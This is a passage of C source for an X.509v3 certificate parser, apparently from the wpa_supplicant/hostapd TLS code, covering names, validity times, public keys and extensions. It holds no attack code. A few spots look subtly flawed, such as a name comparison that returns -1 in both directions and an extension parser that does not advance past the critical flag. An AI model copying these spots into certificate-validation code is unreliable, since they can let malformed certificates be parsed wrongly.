* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/crypto.h"
#include "asn1.h"
#include "x509v3.h"
static void x509_free_name(struct x509_name *name)
{
size_t i;
for (i = 0; i < name->num_attr; i++) {
os_free(name->attr[i].value);
name->attr[i].value = NULL;
name->attr[i].type = X509_NAME_ATTR_NOT_USED;
}
name->num_attr = 0;
os_free(name->email);
name->email = NULL;
os_free(name->alt_email);
os_free(name->dns);
os_free(name->uri);
os_free(name->ip);
name->alt_email = name->dns = name->uri = NULL;
name->ip = NULL;
name->ip_len = 0;
os_memset(&name->rid, 0, sizeof(name->rid));
}
/**
* x509_certificate_free - Free an X.509 certificate
* @cert: Certificate to be freed
*/
void x509_certificate_free(struct x509_certificate *cert)
{
if (cert == NULL)
return;
if (cert->next) {
wpa_printf(MSG_DEBUG, "X509: x509_certificate_free: cer=%p "
"was still on a list (next=%p)\n",
cert, cert->next);
}
x509_free_name(&cert->issuer);
x509_free_name(&cert->subject);
os_free(cert->public_key);
os_free(cert->sign_value);
os_free(cert);
}
/**
* x509_certificate_free - Free an X.509 certificate chain
* @cert: Pointer to the first certificate in the chain
*/
void x509_certificate_chain_free(struct x509_certificate *cert)
{
struct x509_certificate *next;
while (cert) {
next = cert->next;
cert->next = NULL;
x509_certificate_free(cert);
cert = next;
}
}
static int x509_whitespace(char c)
{
return c == ' ' || c == '\t';
}
static void x509_str_strip_whitespace(char *a)
{
char *ipos, *opos;
int remove_whitespace = 1;
ipos = opos = a;
while (*ipos) {
if (remove_whitespace && x509_whitespace(*ipos))
ipos++;
else {
remove_whitespace = x509_whitespace(*ipos);
*opos++ = *ipos++;
}
}
*opos-- = '\0';
if (opos > a && x509_whitespace(*opos))
*opos = '\0';
}
static int x509_str_compare(const char *a, const char *b)
{
char *aa, *bb;
int ret;
if (!a && b)
return -1;
if (a && !b)
return 1;
if (!a && !b)
return 0;
aa = os_strdup(a);
bb = os_strdup(b);
if (aa == NULL || bb == NULL) {
os_free(aa);
os_free(bb);
return os_strcasecmp(a, b);
}
x509_str_strip_whitespace(aa);
x509_str_strip_whitespace(bb);
ret = os_strcasecmp(aa, bb);
os_free(aa);
os_free(bb);
return ret;
}
/**
* x509_name_compare - Compare X.509 certificate names
* @a: Certificate name
* @b: Certificate name
* Returns: <0, 0, or >0 based on whether a is less than, equal to, or
* greater than b
*/
int x509_name_compare(struct x509_name *a, struct x509_name *b)
{
int res;
size_t i;
if (!a && b)
return -1;
if (a && !b)
return 1;
if (!a && !b)
return 0;
if (a->num_attr < b->num_attr)
return -1;
if (a->num_attr > b->num_attr)
return 1;
for (i = 0; i < a->num_attr; i++) {
if (a->attr[i].type < b->attr[i].type)
return -1;
if (a->attr[i].type > b->attr[i].type)
return -1;
res = x509_str_compare(a->attr[i].value, b->attr[i].value);
if (res)
return res;
}
res = x509_str_compare(a->email, b->email);
if (res)
return res;
return 0;
}
static int x509_parse_algorithm_identifier(
const u8 *buf, size_t len,
struct x509_algorithm_identifier *id, const u8 **next)
{
struct asn1_hdr hdr;
const u8 *pos, *end;
/*
* AlgorithmIdentifier ::= SEQUENCE {
* algorithm OBJECT IDENTIFIER,
* parameters ANY DEFINED BY algorithm OPTIONAL
* }
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(AlgorithmIdentifier) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
end = pos + hdr.length;
if (end > buf + len)
return -1;
*next = end;
if (asn1_get_oid(pos, end - pos, &id->oid, &pos))
return -1;
/* TODO: optional parameters */
return 0;
}
static int x509_parse_public_key(const u8 *buf, size_t len,
struct x509_certificate *cert,
const u8 **next)
{
struct asn1_hdr hdr;
const u8 *pos, *end;
/*
* SubjectPublicKeyInfo ::= SEQUENCE {
* algorithm AlgorithmIdentifier,
* subjectPublicKey BIT STRING
* }
*/
pos = buf;
end = buf + len;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(SubjectPublicKeyInfo) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
if (pos + hdr.length > end)
return -1;
end = pos + hdr.length;
*next = end;
if (x509_parse_algorithm_identifier(pos, end - pos,
&cert->public_key_alg, &pos))
return -1;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_BITSTRING) {
wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING "
"(subjectPublicKey) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
if (hdr.length < 1)
return -1;
pos = hdr.payload;
if (*pos) {
wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits",
*pos);
/*
* TODO: should this be rejected? X.509 certificates are
* unlikely to use such a construction. Now we would end up
* including the extra bits in the buffer which may also be
* ok.
*/
}
os_free(cert->public_key);
cert->public_key = os_malloc(hdr.length - 1);
if (cert->public_key == NULL) {
wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for "
"public key");
return -1;
}
os_memcpy(cert->public_key, pos + 1, hdr.length - 1);
cert->public_key_len = hdr.length - 1;
wpa_hexdump(MSG_MSGDUMP, "X509: subjectPublicKey",
cert->public_key, cert->public_key_len);
return 0;
}
static int x509_parse_name(const u8 *buf, size_t len, struct x509_name *name,
const u8 **next)
{
struct asn1_hdr hdr;
const u8 *pos, *end, *set_pos, *set_end, *seq_pos, *seq_end;
struct asn1_oid oid;
char *val;
/*
* Name ::= CHOICE { RDNSequence }
* RDNSequence ::= SEQUENCE OF RelativeDistinguishedName
* RelativeDistinguishedName ::= SET OF AttributeTypeAndValue
* AttributeTypeAndValue ::= SEQUENCE {
* type AttributeType,
* value AttributeValue
* }
* AttributeType ::= OBJECT IDENTIFIER
* AttributeValue ::= ANY DEFINED BY AttributeType
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(Name / RDNSequencer) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
if (pos + hdr.length > buf + len)
return -1;
end = *next = pos + hdr.length;
while (pos < end) {
enum x509_name_attr_type type;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SET) {
wpa_printf(MSG_DEBUG, "X509: Expected SET "
"(RelativeDistinguishedName) - found class "
"%d tag 0x%x", hdr.class, hdr.tag);
x509_free_name(name);
return -1;
}
set_pos = hdr.payload;
pos = set_end = hdr.payload + hdr.length;
if (asn1_get_next(set_pos, set_end - set_pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(AttributeTypeAndValue) - found class %d "
"tag 0x%x", hdr.class, hdr.tag);
x509_free_name(name);
return -1;
}
seq_pos = hdr.payload;
seq_end = hdr.payload + hdr.length;
if (asn1_get_oid(seq_pos, seq_end - seq_pos, &oid, &seq_pos)) {
x509_free_name(name);
return -1;
}
if (asn1_get_next(seq_pos, seq_end - seq_pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL) {
wpa_printf(MSG_DEBUG, "X509: Failed to parse "
"AttributeValue");
x509_free_name(name);
return -1;
}
/* RFC 3280:
* MUST: country, organization, organizational-unit,
* distinguished name qualifier, state or province name,
* common name, serial number.
* SHOULD: locality, title, surname, given name, initials,
* pseudonym, generation qualifier.
* MUST: domainComponent (RFC 2247).
*/
type = X509_NAME_ATTR_NOT_USED;
if (oid.len == 4 &&
oid.oid[0] == 2 && oid.oid[1] == 5 && oid.oid[2] == 4) {
/* id-at ::= 2.5.4 */
switch (oid.oid[3]) {
case 3:
/* commonName */
type = X509_NAME_ATTR_CN;
break;
case 6:
/* countryName */
type = X509_NAME_ATTR_C;
break;
case 7:
/* localityName */
type = X509_NAME_ATTR_L;
break;
case 8:
/* stateOrProvinceName */
type = X509_NAME_ATTR_ST;
break;
case 10:
/* organizationName */
type = X509_NAME_ATTR_O;
break;
case 11:
/* organizationalUnitName */
type = X509_NAME_ATTR_OU;
break;
}
} else if (oid.len == 7 &&
oid.oid[0] == 1 && oid.oid[1] == 2 &&
oid.oid[2] == 840 && oid.oid[3] == 113549 &&
oid.oid[4] == 1 && oid.oid[5] == 9 &&
oid.oid[6] == 1) {
/* 1.2.840.113549.1.9.1 - e-mailAddress */
os_free(name->email);
name->email = os_malloc(hdr.length + 1);
if (name->email == NULL) {
x509_free_name(name);
return -1;
}
os_memcpy(name->email, hdr.payload, hdr.length);
name->email[hdr.length] = '\0';
continue;
} else if (oid.len == 7 &&
oid.oid[0] == 0 && oid.oid[1] == 9 &&
oid.oid[2] == 2342 && oid.oid[3] == 19200300 &&
oid.oid[4] == 100 && oid.oid[5] == 1 &&
oid.oid[6] == 25) {
/* 0.9.2342.19200300.100.1.25 - domainComponent */
type = X509_NAME_ATTR_DC;
}
if (type == X509_NAME_ATTR_NOT_USED) {
wpa_hexdump(MSG_DEBUG, "X509: Unrecognized OID",
(u8 *) oid.oid,
oid.len * sizeof(oid.oid[0]));
wpa_hexdump_ascii(MSG_MSGDUMP, "X509: Attribute Data",
hdr.payload, hdr.length);
continue;
}
if (name->num_attr == X509_MAX_NAME_ATTRIBUTES) {
wpa_printf(MSG_INFO, "X509: Too many Name attributes");
x509_free_name(name);
return -1;
}
val = os_malloc(hdr.length + 1);
if (val == NULL) {
x509_free_name(name);
return -1;
}
os_memcpy(val, hdr.payload, hdr.length);
val[hdr.length] = '\0';
if (os_strlen(val) != hdr.length) {
wpa_printf(MSG_INFO, "X509: Reject certificate with "
"embedded NUL byte in a string (%s[NUL])",
val);
x509_free_name(name);
return -1;
}
name->attr[name->num_attr].type = type;
name->attr[name->num_attr].value = val;
name->num_attr++;
}
return 0;
}
static char * x509_name_attr_str(enum x509_name_attr_type type)
{
switch (type) {
case X509_NAME_ATTR_NOT_USED:
return "[N/A]";
case X509_NAME_ATTR_DC:
return "DC";
case X509_NAME_ATTR_CN:
return "CN";
case X509_NAME_ATTR_C:
return "C";
case X509_NAME_ATTR_L:
return "L";
case X509_NAME_ATTR_ST:
return "ST";
case X509_NAME_ATTR_O:
return "O";
case X509_NAME_ATTR_OU:
return "OU";
}
return "?";
}
/**
* x509_name_string - Convert an X.509 certificate name into a string
* @name: Name to convert
* @buf: Buffer for the string
* @len: Maximum buffer length
*/
void x509_name_string(struct x509_name *name, char *buf, size_t len)
{
char *pos, *end;
int ret;
size_t i;
if (len == 0)
return;
pos = buf;
end = buf + len;
for (i = 0; i < name->num_attr; i++) {
ret = os_snprintf(pos, end - pos, "%s=%s, ",
x509_name_attr_str(name->attr[i].type),
name->attr[i].value);
if (ret < 0 || ret >= end - pos)
goto done;
pos += ret;
}
if (pos > buf + 1 && pos[-1] == ' ' && pos[-2] == ',') {
pos--;
*pos = '\0';
pos--;
*pos = '\0';
}
if (name->email) {
ret = os_snprintf(pos, end - pos, "/emailAddress=%s",
name->email);
if (ret < 0 || ret >= end - pos)
goto done;
pos += ret;
}
done:
end[-1] = '\0';
}
static int x509_parse_time(const u8 *buf, size_t len, u8 asn1_tag,
os_time_t *val)
{
const char *pos;
int year, month, day, hour, min, sec;
/*
* Time ::= CHOICE {
* utcTime UTCTime,
* generalTime GeneralizedTime
* }
*
* UTCTime: YYMMDDHHMMSSZ
* GeneralizedTime: YYYYMMDDHHMMSSZ
*/
pos = (const char *) buf;
switch (asn1_tag) {
case ASN1_TAG_UTCTIME:
if (len != 13 || buf[12] != 'Z') {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized "
"UTCTime format", buf, len);
return -1;
}
if (sscanf(pos, "%02d", &year) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse "
"UTCTime year", buf, len);
return -1;
}
if (year < 50)
year += 2000;
else
year += 1900;
pos += 2;
break;
case ASN1_TAG_GENERALIZEDTIME:
if (len != 15 || buf[14] != 'Z') {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized "
"GeneralizedTime format", buf, len);
return -1;
}
if (sscanf(pos, "%04d", &year) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse "
"GeneralizedTime year", buf, len);
return -1;
}
pos += 4;
break;
default:
wpa_printf(MSG_DEBUG, "X509: Expected UTCTime or "
"GeneralizedTime - found tag 0x%x", asn1_tag);
return -1;
}
if (sscanf(pos, "%02d", &month) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time "
"(month)", buf, len);
return -1;
}
pos += 2;
if (sscanf(pos, "%02d", &day) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time "
"(day)", buf, len);
return -1;
}
pos += 2;
if (sscanf(pos, "%02d", &hour) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time "
"(hour)", buf, len);
return -1;
}
pos += 2;
if (sscanf(pos, "%02d", &min) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time "
"(min)", buf, len);
return -1;
}
pos += 2;
if (sscanf(pos, "%02d", &sec) != 1) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time "
"(sec)", buf, len);
return -1;
}
if (os_mktime(year, month, day, hour, min, sec, val) < 0) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to convert Time",
buf, len);
if (year < 1970) {
/*
* At least some test certificates have been configured
* to use dates prior to 1970. Set the date to
* beginning of 1970 to handle these case.
*/
wpa_printf(MSG_DEBUG, "X509: Year=%d before epoch - "
"assume epoch as the time", year);
*val = 0;
return 0;
}
return -1;
}
return 0;
}
static int x509_parse_validity(const u8 *buf, size_t len,
struct x509_certificate *cert, const u8 **next)
{
struct asn1_hdr hdr;
const u8 *pos;
size_t plen;
/*
* Validity ::= SEQUENCE {
* notBefore Time,
* notAfter Time
* }
*
* RFC 3280, 4.1.2.5:
* CAs conforming to this profile MUST always encode certificate
* validity dates through the year 2049 as UTCTime; certificate
* validity dates in 2050 or later MUST be encoded as GeneralizedTime.
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE "
"(Validity) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
plen = hdr.length;
if (pos + plen > buf + len)
return -1;
*next = pos + plen;
if (asn1_get_next(pos, plen, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
x509_parse_time(hdr.payload, hdr.length, hdr.tag,
&cert->not_before) < 0) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notBefore "
"Time", hdr.payload, hdr.length);
return -1;
}
pos = hdr.payload + hdr.length;
plen = *next - pos;
if (asn1_get_next(pos, plen, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
x509_parse_time(hdr.payload, hdr.length, hdr.tag,
&cert->not_after) < 0) {
wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notAfter "
"Time", hdr.payload, hdr.length);
return -1;
}
wpa_printf(MSG_MSGDUMP, "X509: Validity: notBefore: %lu notAfter: %lu",
(unsigned long) cert->not_before,
(unsigned long) cert->not_after);
return 0;
}
static int x509_id_ce_oid(struct asn1_oid *oid)
{
/* id-ce arc from X.509 for standard X.509v3 extensions */
return oid->len >= 4 &&
oid->oid[0] == 2 /* joint-iso-ccitt */ &&
oid->oid[1] == 5 /* ds */ &&
oid->oid[2] == 29 /* id-ce */;
}
static int x509_parse_ext_key_usage(struct x509_certificate *cert,
const u8 *pos, size_t len)
{
struct asn1_hdr hdr;
/*
* KeyUsage ::= BIT STRING {
* digitalSignature (0),
* nonRepudiation (1),
* keyEncipherment (2),
* dataEncipherment (3),
* keyAgreement (4),
* keyCertSign (5),
* cRLSign (6),
* encipherOnly (7),
* decipherOnly (8) }
*/
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_BITSTRING ||
hdr.length < 1) {
wpa_printf(MSG_DEBUG, "X509: Expected BIT STRING in "
"KeyUsage; found %d tag 0x%x len %d",
hdr.class, hdr.tag, hdr.length);
return -1;
}
cert->extensions_present |= X509_EXT_KEY_USAGE;
cert->key_usage = asn1_bit_string_to_long(hdr.payload, hdr.length);
wpa_printf(MSG_DEBUG, "X509: KeyUsage 0x%lx", cert->key_usage);
return 0;
}
static int x509_parse_ext_basic_constraints(struct x509_certificate *cert,
const u8 *pos, size_t len)
{
struct asn1_hdr hdr;
unsigned long value;
size_t left;
/*
* BasicConstraints ::= SEQUENCE {
* cA BOOLEAN DEFAULT FALSE,
* pathLenConstraint INTEGER (0..MAX) OPTIONAL }
*/
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in "
"BasicConstraints; found %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
cert->extensions_present |= X509_EXT_BASIC_CONSTRAINTS;
if (hdr.length == 0)
return 0;
if (asn1_get_next(hdr.payload, hdr.length, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL) {
wpa_printf(MSG_DEBUG, "X509: Failed to parse "
"BasicConstraints");
return -1;
}
if (hdr.tag == ASN1_TAG_BOOLEAN) {
if (hdr.length != 1) {
wpa_printf(MSG_DEBUG, "X509: Unexpected "
"Boolean length (%u) in BasicConstraints",
hdr.length);
return -1;
}
cert->ca = hdr.payload[0];
if (hdr.payload + hdr.length == pos + len) {
wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d",
cert->ca);
return 0;
}
if (asn1_get_next(hdr.payload + hdr.length, len - hdr.length,
&hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL) {
wpa_printf(MSG_DEBUG, "X509: Failed to parse "
"BasicConstraints");
return -1;
}
}
if (hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "X509: Expected INTEGER in "
"BasicConstraints; found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
left = hdr.length;
value = 0;
while (left) {
value <<= 8;
value |= *pos++;
left--;
}
cert->path_len_constraint = value;
cert->extensions_present |= X509_EXT_PATH_LEN_CONSTRAINT;
wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d "
"pathLenConstraint=%lu",
cert->ca, cert->path_len_constraint);
return 0;
}
static int x509_parse_alt_name_rfc8222(struct x509_name *name,
const u8 *pos, size_t len)
{
/* rfc822Name IA5String */
wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - rfc822Name", pos, len);
os_free(name->alt_email);
name->alt_email = os_zalloc(len + 1);
if (name->alt_email == NULL)
return -1;
os_memcpy(name->alt_email, pos, len);
if (os_strlen(name->alt_email) != len) {
wpa_printf(MSG_INFO, "X509: Reject certificate with "
"embedded NUL byte in rfc822Name (%s[NUL])",
name->alt_email);
os_free(name->alt_email);
name->alt_email = NULL;
return -1;
}
return 0;
}
static int x509_parse_alt_name_dns(struct x509_name *name,
const u8 *pos, size_t len)
{
/* dNSName IA5String */
wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - dNSName", pos, len);
os_free(name->dns);
name->dns = os_zalloc(len + 1);
if (name->dns == NULL)
return -1;
os_memcpy(name->dns, pos, len);
if (os_strlen(name->dns) != len) {
wpa_printf(MSG_INFO, "X509: Reject certificate with "
"embedded NUL byte in dNSName (%s[NUL])",
name->dns);
os_free(name->dns);
name->dns = NULL;
return -1;
}
return 0;
}
static int x509_parse_alt_name_uri(struct x509_name *name,
const u8 *pos, size_t len)
{
/* uniformResourceIdentifier IA5String */
wpa_hexdump_ascii(MSG_MSGDUMP,
"X509: altName - uniformResourceIdentifier",
pos, len);
os_free(name->uri);
name->uri = os_zalloc(len + 1);
if (name->uri == NULL)
return -1;
os_memcpy(name->uri, pos, len);
if (os_strlen(name->uri) != len) {
wpa_printf(MSG_INFO, "X509: Reject certificate with "
"embedded NUL byte in uniformResourceIdentifier "
"(%s[NUL])", name->uri);
os_free(name->uri);
name->uri = NULL;
return -1;
}
return 0;
}
static int x509_parse_alt_name_ip(struct x509_name *name,
const u8 *pos, size_t len)
{
/* iPAddress OCTET STRING */
wpa_hexdump(MSG_MSGDUMP, "X509: altName - iPAddress", pos, len);
os_free(name->ip);
name->ip = os_malloc(len);
if (name->ip == NULL)
return -1;
os_memcpy(name->ip, pos, len);
name->ip_len = len;
return 0;
}
static int x509_parse_alt_name_rid(struct x509_name *name,
const u8 *pos, size_t len)
{
char buf[80];
/* registeredID OBJECT IDENTIFIER */
if (asn1_parse_oid(pos, len, &name->rid) < 0)
return -1;
asn1_oid_to_str(&name->rid, buf, sizeof(buf));
wpa_printf(MSG_MSGDUMP, "X509: altName - registeredID: %s", buf);
return 0;
}
static int x509_parse_ext_alt_name(struct x509_name *name,
const u8 *pos, size_t len)
{
struct asn1_hdr hdr;
const u8 *p, *end;
/*
* GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName
*
* GeneralName ::= CHOICE {
* otherName [0] OtherName,
* rfc822Name [1] IA5String,
* dNSName [2] IA5String,
* x400Address [3] ORAddress,
* directoryName [4] Name,
* ediPartyName [5] EDIPartyName,
* uniformResourceIdentifier [6] IA5String,
* iPAddress [7] OCTET STRING,
* registeredID [8] OBJECT IDENTIFIER }
*
* OtherName ::= SEQUENCE {
* type-id OBJECT IDENTIFIER,
* value [0] EXPLICIT ANY DEFINED BY type-id }
*
* EDIPartyName ::= SEQUENCE {
* nameAssigner [0] DirectoryString OPTIONAL,
* partyName [1] DirectoryString }
*/
for (p = pos, end = pos + len; p < end; p = hdr.payload + hdr.length) {
int res;
if (asn1_get_next(p, end - p, &hdr) < 0) {
wpa_printf(MSG_DEBUG, "X509: Failed to parse "
"SubjectAltName item");
return -1;
}
if (hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC)
continue;
switch (hdr.tag) {
case 1:
res = x509_parse_alt_name_rfc8222(name, hdr.payload,
hdr.length);
break;
case 2:
res = x509_parse_alt_name_dns(name, hdr.payload,
hdr.length);
break;
case 6:
res = x509_parse_alt_name_uri(name, hdr.payload,
hdr.length);
break;
case 7:
res = x509_parse_alt_name_ip(name, hdr.payload,
hdr.length);
break;
case 8:
res = x509_parse_alt_name_rid(name, hdr.payload,
hdr.length);
break;
case 0: /* TODO: otherName */
case 3: /* TODO: x500Address */
case 4: /* TODO: directoryName */
case 5: /* TODO: ediPartyName */
default:
res = 0;
break;
}
if (res < 0)
return res;
}
return 0;
}
static int x509_parse_ext_subject_alt_name(struct x509_certificate *cert,
const u8 *pos, size_t len)
{
struct asn1_hdr hdr;
/* SubjectAltName ::= GeneralNames */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in "
"SubjectAltName; found %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
wpa_printf(MSG_DEBUG, "X509: SubjectAltName");
cert->extensions_present |= X509_EXT_SUBJECT_ALT_NAME;
if (hdr.length == 0)
return 0;
return x509_parse_ext_alt_name(&cert->subject, hdr.payload,
hdr.length);
}
static int x509_parse_ext_issuer_alt_name(struct x509_certificate *cert,
const u8 *pos, size_t len)
{
struct asn1_hdr hdr;
/* IssuerAltName ::= GeneralNames */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in "
"IssuerAltName; found %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
wpa_printf(MSG_DEBUG, "X509: IssuerAltName");
cert->extensions_present |= X509_EXT_ISSUER_ALT_NAME;
if (hdr.length == 0)
return 0;
return x509_parse_ext_alt_name(&cert->issuer, hdr.payload,
hdr.length);
}
static int x509_parse_extension_data(struct x509_certificate *cert,
struct asn1_oid *oid,
const u8 *pos, size_t len)
{
if (!x509_id_ce_oid(oid))
return 1;
/* TODO: add other extensions required by RFC 3280, Ch 4.2:
* certificate policies (section 4.2.1.5)
* name constraints (section 4.2.1.11)
* policy constraints (section 4.2.1.12)
* extended key usage (section 4.2.1.13)
* inhibit any-policy (section 4.2.1.15)
*/
switch (oid->oid[3]) {
case 15: /* id-ce-keyUsage */
return x509_parse_ext_key_usage(cert, pos, len);
case 17: /* id-ce-subjectAltName */
return x509_parse_ext_subject_alt_name(cert, pos, len);
case 18: /* id-ce-issuerAltName */
return x509_parse_ext_issuer_alt_name(cert, pos, len);
case 19: /* id-ce-basicConstraints */
return x509_parse_ext_basic_constraints(cert, pos, len);
default:
return 1;
}
}
static int x509_parse_extension(struct x509_certificate *cert,
const u8 *pos, size_t len, const u8 **next)
{
const u8 *end;
struct asn1_hdr hdr;
struct asn1_oid oid;
int critical_ext = 0, res;
char buf[80];
/*
* Extension ::= SEQUENCE {
* extnID OBJECT IDENTIFIER,
* critical BOOLEAN DEFAULT FALSE,
* extnValue OCTET STRING
* }
*/
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in "
"Extensions: class %d tag 0x%x; expected SEQUENCE",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
*next = end = pos + hdr.length;
if (asn1_get_oid(pos, end - pos, &oid, &pos) < 0) {
wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data for "
"Extension (expected OID)");
return -1;
}
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
(hdr.tag != ASN1_TAG_BOOLEAN &&
hdr.tag != ASN1_TAG_OCTETSTRING)) {
wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in "
"Extensions: class %d tag 0x%x; expected BOOLEAN "
"or OCTET STRING", hdr.class, hdr.tag);
return -1;
}
if (hdr.tag == ASN1_TAG_BOOLEAN) {
if (hdr.length != 1) {
wpa_printf(MSG_DEBUG, "X509: Unexpected "
"Boolean length (%u)", hdr.length);
return -1;
}
critical_ext = hdr.payload[0];
pos = hdr.payload;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
(hdr.class != ASN1_CLASS_UNIVERSAL &&
hdr.class != ASN1_CLASS_PRIVATE) ||
hdr.tag != ASN1_TAG_OCTETSTRING) {
wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header "
"in Extensions: class %d tag 0x%x; "
"expected OCTET STRING",
hdr.class, hdr.tag);
return -1;
}
}
asn1_oid_to_str(&oid, buf, sizeof(buf));
wpa_printf(MSG_DEBUG, "X509: Extension: extnID=%s critical=%d",
buf, critical_ext);
wpa_hexdump(MSG_MSGDUMP, "X509: extnValue", hdr.payload, hdr.length);
res = x509_parse_extension_data(cert, &oid, hdr.payload, hdr.length);
if (res < 0)
return res;
if (res == 1 && critical_ext) {
wpa_printf(MSG_INFO, "X509: Unknown critical extension %s",
buf);
return -1;
}
return 0;
}
static int x509_parse_extensions(struct x509_certificate *cert,
const u8 *pos, size_t len)
{
const u8 *end;
struct asn1_hdr hdr;
/* Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data "
"for Extensions: class %d tag 0x%x; "
"expected SEQUENCE", hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
end = pos + hdr.length;
while (pos < end) {
if (x509_parse_extension(cert, pos, end - pos, &pos)
< 0)
return -1;
}
return 0;
}
static int x509_parse_tbs_certificate(const u8 *buf, size_t len,
struct x509_certificate *cert,
const u8 **next)
{
struct asn1_hdr hdr;
const u8 *pos, *end;
size_t left;
char sbuf[128];
unsigned long value;
/* tbsCertificate TBSCertificate ::= SEQUENCE */
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "X509: tbsCertificate did not start "
"with a valid SEQUENCE - found class %d tag 0x%x",
hdr.class, hdr.tag);
return -1;
}
pos = hdr.payload;
end = *next = pos + hdr.length;
/*
* version [0] EXPLICIT Version DEFAULT v1
* Version ::= INTEGER { v1(0), v2(1), v3(2) }
*/
if (asn1_get_next(pos, end - pos, &hdr) < 0)
return -1;
pos = hdr.payload;
if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC) {
if (asn1_get_next(pos, end - pos, &hdr) < 0)
return -1;
if (hdr.class != ASN1_CLASS_UNIVERSAL ||
